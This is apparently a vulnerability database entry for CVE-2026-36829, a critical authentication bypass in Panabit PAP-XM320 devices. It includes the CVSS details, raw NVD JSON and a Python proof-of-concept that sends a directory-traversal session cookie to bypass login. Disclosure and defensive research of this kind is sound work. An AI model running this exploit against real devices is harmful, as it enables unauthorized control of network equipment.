Security Vulnerability Report
中文
CVE-2026-36829 CVSS 9.8 CRITICAL

CVE-2026-36829

Published: 2026-05-19 17:16:22
Last Modified: 2026-05-19 18:16:22

Description

An authentication bypass vulnerability exists in the embedded HTTP server of Panabit PAP-XM320 up to and including v7.7. The server validates session cookies using a filesystem existence check based on a user-controlled cookie value without proper sanitization, allowing directory traversal and bypass of authentication.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Panabit PAP-XM320 <= v7.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit(target_url): # Vulnerable endpoint example login_url = f"{target_url}/index.php" # The vulnerability relies on the server checking if the cookie value # exists as a file in the filesystem without sanitization. # Using "../" to traverse to a file that definitely exists (e.g. /etc/passwd) # tricks the server into treating the request as authenticated. headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Cookie": "session_id=../../etc/passwd" } try: response = requests.get(login_url, headers=headers, timeout=10) # Check if authentication was bypassed (e.g. returns 200 OK and dashboard content) if response.status_code == 200 and "dashboard" in response.text.lower(): print(f"[+] Authentication bypass successful for {target_url}") print(f"[+] Response content length: {len(response.text)}") else: print(f"[-] Exploit failed or target not vulnerable. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": target = "http://192.168.1.100" # Replace with actual target IP exploit(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-36829", "sourceIdentifier": "[email protected]", "published": "2026-05-19T17:16:22.210", "lastModified": "2026-05-19T18:16:21.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authentication bypass vulnerability exists in the embedded HTTP server of Panabit PAP-XM320 up to and including v7.7. The server validates session cookies using a filesystem existence check based on a user-controlled cookie value without proper sanitization, allowing directory traversal and bypass of authentication."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-287"}]}], "references": [{"url": "https://secreu.notion.site/CVE-2026-36829-3652c0ab461580e19704e87b18865714", "source": "[email protected]"}, {"url": "https://www.panabit.com/", "source": "[email protected]"}, {"url": "https://secreu.notion.site/CVE-2026-36829-3652c0ab461580e19704e87b18865714", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}